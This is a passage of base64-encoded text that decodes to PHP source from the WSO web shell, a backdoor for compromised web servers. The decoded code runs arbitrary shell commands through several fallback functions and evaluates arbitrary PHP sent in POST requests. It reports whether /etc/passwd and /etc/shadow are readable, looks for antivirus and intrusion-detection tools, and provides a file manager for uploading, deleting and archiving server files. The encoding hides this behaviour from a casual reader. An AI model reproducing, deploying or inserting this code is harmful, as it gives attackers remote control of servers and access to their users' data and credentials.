3RzKCdwYXNzdGhydScpKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCUBwYXNzdGhydSgkaW4pOw0KCQkkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQoJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsNCgkJb2Jfc3RhcnQoKTsNCgkJQHN5c3RlbSgkaW4pOw0KCQkkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQoJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7DQoJCSRvdXQgPSBzaGVsbF9leGVjKCRpbik7DQoJfSBlbHNlaWYgKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSkgew0KCQkkb3V0ID0gIiI7DQoJCXdoaWxlKCFAZmVvZigkZikpDQoJCQkkb3V0IC49IGZyZWFkKCRmLDEwMjQpOw0KCQlwY2xvc2UoJGYpOw0KCX0NCglyZXR1cm4gJG91dDsNCn0NCmZ1bmN0aW9uIHdzb1ZpZXdTaXplKCRzKSB7DQoJaWYoJHMgPj0gMTA3Mzc0MTgyNCkNCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOw0KCWVsc2VpZigkcyA+PSAxMDQ4NTc2KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOw0KCWVsc2VpZigkcyA+PSAxMDI0KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOw0KCWVsc2UNCgkJcmV0dXJuICRzIC4gJyBCJzsNCn0NCg0KZnVuY3Rpb24gd3NvUGVybXMoJHApIHsNCglpZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7DQoJZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsNCgllbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy0nOw0KCWVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJGkgPSAnYic7DQoJZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdkJzsNCgllbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2MnOw0KCWVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApJGkgPSAncCc7DQoJZWxzZSAkaSA9ICd1JzsNCgkkaSAuPSAoKCRwICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoJJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncicgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwMTApID8gJ3cnIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOw0KCSRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCglyZXR1cm4gJGk7DQp9DQoNCmZ1bmN0aW9uIHdzb1Blcm1zQ29sb3IoJGYpIHsNCglpZiAoIUBpc19yZWFkYWJsZSgkZikpDQoJCXJldHVybiAnPGZvbnQgY29sb3I9I0ZGMDAwMD4nIC4gd3NvUGVybXMoQGZpbGVwZXJtcygkZikpIC4gJzwvZm9udD4nOw0KCWVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpDQoJCXJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsNCgllbHNlDQoJCXJldHVybiAnPGZvbnQgY29sb3I9IzI1ZmYwMD4nIC4gd3NvUGVybXMoQGZpbGVwZXJtcygkZikpIC4gJzwvZm9udD4nOw0KfQ0KDQppZighZnVuY3Rpb25fZXhpc3RzKCJzY2FuZGlyIikpIHsNCglmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsNCgkJJGRoICA9IG9wZW5kaXIoJGRpcik7DQoJCXdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpDQogICAgCQkkZmlsZXNbXSA9ICRmaWxlbmFtZTsNCgkJcmV0dXJuICRmaWxlczsNCgl9DQp9DQoNCmZ1bmN0aW9uIHdzb1doaWNoKCRwKSB7DQoJJHBhdGggPSB3c29FeCgnd2hpY2ggJyAuICRwKTsNCglpZighZW1wdHkoJHBhdGgpKQ0KCQlyZXR1cm4gJHBhdGg7DQoJcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgew0KCXdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb248L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KCWZ1bmN0aW9uIHdzb1NlY1BhcmFtKCRuLCAkdikgew0KCQkkdiA9IHRyaW0oJHYpOw0KCQlpZigkdikgew0KCQkJZWNobyAnPHNwYW4+JyAuICRuIC4gJzogPC9zcGFuPic7DQoJCQlpZihzdHJwb3MoJHYsICJcbiIpID09PSBmYWxzZSkNCgkJCQllY2hvICR2IC4gJzxicj4nOw0KCQkJZWxzZQ0KCQkJCWVjaG8gJzxwcmUgY2xhc3M9bWwxPicgLiAkdiAuICc8L3ByZT4nOw0KCQl9DQoJfQ0KCQ0KCXdzb1NlY1BhcmFtKCdTZXJ2ZXIgc29mdHdhcmUnLCBAZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSk7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdhcGFjaGVfZ2V0X21vZHVsZXMnKSkNCiAgICAgICAgd3NvU2VjUGFyYW0oJ0xvYWRlZCBBcGFjaGUgbW9kdWxlcycsIGltcGxvZGUoJywgJywgYXBhY2hlX2dldF9tb2R1bGVzKCkpKTsNCgl3c29TZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddPyRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddOidub25lJyk7DQoJd3NvU2VjUGFyYW0oJ09wZW4gYmFzZSBkaXInLCBAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykpOw0KCXdzb1NlY1BhcmFtKCdTYWZlIG1vZGUgZXhlYyBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpOw0KCXdzb1NlY1BhcmFtKCdTYWZlIG1vZGUgaW5jbHVkZSBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpOw0KCXdzb1NlY1BhcmFtKCdjVVJMIHN1cHBvcnQnLCBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpPydlbmFibGVkJzonbm8nKTsNCgkkdGVtcD1hcnJheSgpOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpDQoJCSR0ZW1wW10gPSAiTXlTcWwgKCIubXlzcWxfZ2V0X2NsaWVudF9pbmZvKCkuIikiOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQ0KCQkkdGVtcFtdID0gIk1TU1FMIjsNCglpZihmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkNCgkJJHRlbXBbXSA9ICJQb3N0Z3JlU1FMIjsNCglpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpDQoJCSR0ZW1wW10gPSAiT3JhY2xlIjsNCgl3c29TZWNQYXJhbSgnU3VwcG9ydGVkIGRhdGFiYXNlcycsIGltcGxvZGUoJywgJywgJHRlbXApKTsNCgllY2hvICc8YnI+JzsNCgkNCglpZigkR0xPQkFMU1snb3MnXSA9PSAnbml4Jykgew0KCQl3c29TZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsNCgkJd3NvU2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxlKCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCJldGNcIiwgXCJzaGFkb3dcIiknPlt2aWV3XTwvYT4iOidubycpOw0KCQl3c29TZWNQYXJhbSgnT1MgdmVyc2lvbicsIEBmaWxlX2dldF9jb250ZW50cygnL3Byb2MvdmVyc2lvbicpKTsNCgkJd3NvU2VjUGFyYW0oJ0Rpc3RyIG5hbWUnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOw0KCQlpZighJEdMT0JBTFNbJ3NhZmVfbW9kZSddKSB7DQogICAgICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsNCiAgICAgICAgICAgICRkYW5nZXIgPSBhcnJheSgna2F2Jywnbm9kMzInLCdiZGNvcmVkJywndXZzY2FuJywnc2F2JywnZHJ3ZWJkJywnY2xhbWQnLCdya2h1bnRlcicsJ2Noa3Jvb3RraXQnLCdpcHRhYmxlcycsJ2lwZncnLCd0cmlwd2lyZScsJ3NoaWVsZGNjJywncG9ydHNlbnRyeScsJ3Nub3J0Jywnb3NzZWMnLCdsaWRzYWRtJywndGNwbG9kZycsJ3N4aWQnLCdsb2djaGVjaycsJ2xvZ3dhdGNoJywnc3lzbWFzaycsJ3ptYnNjYXAnLCdzYXdtaWxsJywnd29ybXNjYW4nLCduaW5qYScpOw0KICAgICAgICAgICAgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7DQoJCQllY2hvICc8YnI+JzsNCgkJCSR0ZW1wPWFycmF5KCk7DQoJCQlmb3JlYWNoICgkdXNlcmZ1bCBhcyAkaXRlbSkNCgkJCQlpZih3c29XaGljaCgkaXRlbSkpDQogICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsNCgkJCXdzb1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQoJCQkkdGVtcD1hcnJheSgpOw0KCQkJZm9yZWFjaCAoJGRhbmdlciBhcyAkaXRlbSkNCgkJCQlpZih3c29XaGljaCgkaXRlbSkpDQogICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsNCgkJCXdzb1NlY1BhcmFtKCdEYW5nZXInLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCgkJCSR0ZW1wPWFycmF5KCk7DQoJCQlmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pIA0KCQkJCWlmKHdzb1doaWNoKCRpdGVtKSkNCiAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOw0KCQkJd3NvU2VjUGFyYW0oJ0Rvd25sb2FkZXJzJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQoJCQllY2hvICc8YnIvPic7DQogICAgICAgICAgICB3c29TZWNQYXJhbSgnSEREIHNwYWNlJywgd3NvRXgoJ2RmIC1oJykpOw0KCQkJd3NvU2VjUGFyYW0oJ0hvc3RzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOw0KCQl9DQoJfSBlbHNlIHsNCgkJd3NvU2VjUGFyYW0oJ09TIFZlcnNpb24nLHdzb0V4KCd2ZXInKSk7DQoJCXdzb1NlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdzJyx3c29FeCgnbmV0IGFjY291bnRzJykpOw0KCQl3c29TZWNQYXJhbSgnVXNlciBBY2NvdW50cycsd3NvRXgoJ25ldCB1c2VyJykpOw0KCX0NCgllY2hvICc8L2Rpdj4nOw0KCXdzb0Zvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25QaHAoKSB7DQoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7DQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10gPSB0cnVlOw0KCQlvYl9zdGFydCgpOw0KCQlldmFsKCRfUE9TVFsncDEnXSk7DQoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5pbm5lckhUTUw9JyIgLiBhZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7DQoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7DQoJCWV4aXQ7IA0KCX0NCgl3c29IZWFkZXIoKTsNCglpZihpc3NldCgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AyJ10gPT0gJ2luZm8nKSkgew0KCQllY2hvICc8aDE+UEhQIGluZm88L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3R5bGU+LnAge2NvbG9yOiMwMDA7fTwvc3R5bGU+JzsNCgkJb2Jfc3RhcnQoKTsNCgkJcGhwaW5mbygpOw0KCQkkdG1wID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyEoYm9keXxhOlx3K3xib2R5LCB0ZCwgdGgsIGgxLCBoMikgey4qfSFtc2lVJywnJywkdG1wKTsNCgkJJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOw0KCQllY2hvIHN0cl9yZXBsYWNlKCc8aDEnLCc8aDInLCAkdG1wKSAuJzwvZGl2Pjxicj4nOw0KCX0NCglpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDEnXSkpDQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10gPSBmYWxzZTsNCiAgICBlY2hvICc8aDE+RXhlY3V0aW9uIFBIUC1jb2RlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1wZiBtZXRob2Q9cG9zdCBvbnN1Ym1pdD0iaWYodGhpcy5hamF4LmNoZWNrZWQpe2EoXCdQaHBcJyxudWxsLHRoaXMuY29kZS52YWx1ZSk7fWVsc2V7ZyhcJ1BocFwnLG51bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpO31yZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT1jb2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nLighZW1wdHkoJF9QT1NUWydwMSddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6JycpLic8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1FdmFsIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+JzsNCgllY2hvICcgPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVg8L2Zvcm0+PHByZSBpZD1QaHBPdXRwdXQgc3R5bGU9IicuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4nbWFyZ2luLXRvcDo1cHg7IiBjbGFzcz1tbDE+JzsNCglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KCQlvYl9zdGFydCgpOw0KCQlldmFsKCRfUE9TVFsncDEnXSk7DQoJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSk7DQoJfQ0KCWVjaG8gJzwvcHJlPjwvZGl2Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkZpbGVzTWFuKCkgew0KCXdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c2NyaXB0PnAxXz1wMl89cDNfPSIiOzwvc2NyaXB0Pic7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJc3dpdGNoKCRfUE9TVFsncDEnXSkgew0KCQkJY2FzZSAndXBsb2FkRmlsZSc6DQoJCQkJaWYoIUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZiddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmJ11bJ25hbWUnXSkpDQoJCQkJCWVjaG8gIkNhbid0IHVwbG9hZCBmaWxlISI7DQoJCQkJYnJlYWs7DQoJCQljYXNlICdta2Rpcic6DQoJCQkJaWYoIUBta2RpcigkX1BPU1RbJ3AyJ10pKQ0KCQkJCQllY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7DQoJCQkJYnJlYWs7DQoJCQljYXNlICdkZWxldGUnOg0KCQkJCWZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgew0KCQkJCQkkcGF0aCA9IChzdWJzdHIoJHBhdGgsLTEpPT0nLycpID8gJHBhdGg6JHBhdGguJy8nOw0KCQkJCQkkZGggID0gb3BlbmRpcigkcGF0aCk7DQoJCQkJCXdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7DQoJCQkJCQkkaXRlbSA9ICRwYXRoLiRpdGVtOw0KCQkJCQkJaWYgKCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSApDQoJCQkJCQkJY29udGludWU7DQoJCQkJCQkkdHlwZSA9IGZpbGV0eXBlKCRpdGVtKTsNCgkJCQkJCWlmICgkdHlwZSA9PSAiZGlyIikNCgkJCQkJCQlkZWxldGVEaXIoJGl0ZW0pOw0KCQkJCQkJZWxzZQ0KCQkJCQkJCUB1bmxpbmsoJGl0ZW0pOw0KCQkJCQl9DQoJCQkJCWNsb3NlZGlyKCRkaCk7DQoJCQkJCUBybWRpcigkcGF0aCk7DQoJCQkJfQ0KCQkJCWlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpDQoJCQkJCWZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQoJCQkJCQkkZiA9IHVybGRlY29kZSgkZik7DQoJCQkJCQlpZihpc19kaXIoJGYpKQ0KCQkJCQkJCWRlbGV0ZURpcigkZik7DQoJCQkJCQllbHNlDQoJCQkJCQkJQHVubGluaygkZik7DQoJCQkJCX0NCgkJCQlicmVhazsNCgkJCWNhc2UgJ3Bhc3RlJzoNCgkJCQlpZigkX1NFU1NJT05bJ2FjdCddID09ICdjb3B5Jykgew0KCQkJCQlmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsNCgkJCQkJCWlmKGlzX2RpcigkYy4kcykpew0KCQkJCQkJCW1rZGlyKCRkLiRzKTsNCgkJCQkJCQkkaCA9IEBvcGVuZGlyKCRjLiRzKTsNCgkJCQkJCQl3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpDQoJCQkJCQkJCWlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKQ0KCQkJCQkJCQkJY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQoJCQkJCQl9IGVsc2VpZihpc19maWxlKCRjLiRzKSkNCgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpDQoJCQkJCQljb3B5X3Bhc3RlKCRfU0VTU0lPTlsnYyddLCRmLCAkR0xPQkFMU1snY3dkJ10pOwkJCQkJDQoJCQkJfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnbW92ZScpIHsNCgkJCQkJZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7DQoJCQkJCQlpZihpc19kaXIoJGMuJHMpKXsNCgkJCQkJCQlta2RpcigkZC4kcyk7DQoJCQkJCQkJJGggPSBAb3BlbmRpcigkYy4kcyk7DQoJCQkJCQkJd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSBlbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKQ0KCQkJCQkJCUBjb3B5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikNCgkJCQkJCUByZW5hbWUoJF9TRVNTSU9OWydjJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7DQoJCQkJfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnemlwJykgew0KCQkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9TRVNTSU9OWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGYgPT0gJy4uJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihAaXNfZmlsZSgkX1NFU1NJT05bJ2MnXS4kZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKCRfU0VTU0lPTlsnYyddLiRmLCAkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihAaXNfZGlyKCRfU0VTU0lPTlsnYyddLiRmKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZXJhdG9yID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRmLicvJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZXJhdG9yIGFzICRrZXk9PiR2YWx1ZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJGtleSksICRrZXkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3VuemlwJykgew0KCQkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHppcC0+b3BlbigkX1NFU1NJT05bJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+ZXh0cmFjdFRvKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoJCQkJfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAndGFyJykgew0KICAgICAgICAgICAgICAgICAgICBjaGRpcigkX1NFU1NJT05bJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddID0gYXJyYXlfbWFwKCdlc2NhcGVzaGVsbGFyZycsICRfU0VTU0lPTlsnZiddKTsNCiAgICAgICAgICAgICAgICAgICAgd3NvRXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10pIC4gJyAnIC4gaW1wbG9kZSgnICcsICRfU0VTU0lPTlsnZiddKSk7DQogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7DQoJCQkJfQ0KCQkJCXVuc2V0KCRfU0VTU0lPTlsnZiddKTsNCgkJCQlicmVhazsNCgkJCWRlZmF1bHQ6DQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJCQkJJF9TRVNTSU9OWydhY3QnXSA9IEAkX1BPU1RbJ3AxJ107DQoJCQkJCSRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOw0KCQkJCQlmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRrID0+ICRmKQ0KCQkJCQkJJF9TRVNTSU9OWydmJ11bJGtdID0gdXJsZGVjb2RlKCRmKTsNCgkJCQkJJF9TRVNTSU9OWydjJ10gPSBAJF9QT1NUWydjJ107DQoJCQkJfQ0KCQkJCWJyZWFrOw0KCQl9DQoJfQ0KCSRkaXJDb250ZW50ID0gQHNjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQoJaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7CWVjaG8gJ0NhblwndCBvcGVuIHRoaXMgZm9sZGVyISc7d3NvRm9vdGVyKCk7IHJldHVybjsgfQ0KCWdsb2JhbCAkc29ydDsNCgkkc29ydCA9IGFycmF5KCduYW1lJywgMSk7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJaWYocHJlZ19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ3AxJ10sICRtYXRjaCkpDQoJCQkkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOw0KCX0NCmVjaG8gIjxzY3JpcHQ+DQoJZnVuY3Rpb24gc2EoKSB7DQoJCWZvcihpPTA7aTxkLmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspDQoJCQlpZihkLmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUgPT0gJ2NoZWNrYm94JykNCgkJCQlkLmZpbGVzLmVsZW1lbnRzW2ldLmNoZWNrZWQgPSBkLmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7DQoJfQ0KPC9zY3JpcHQ+DQo8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3B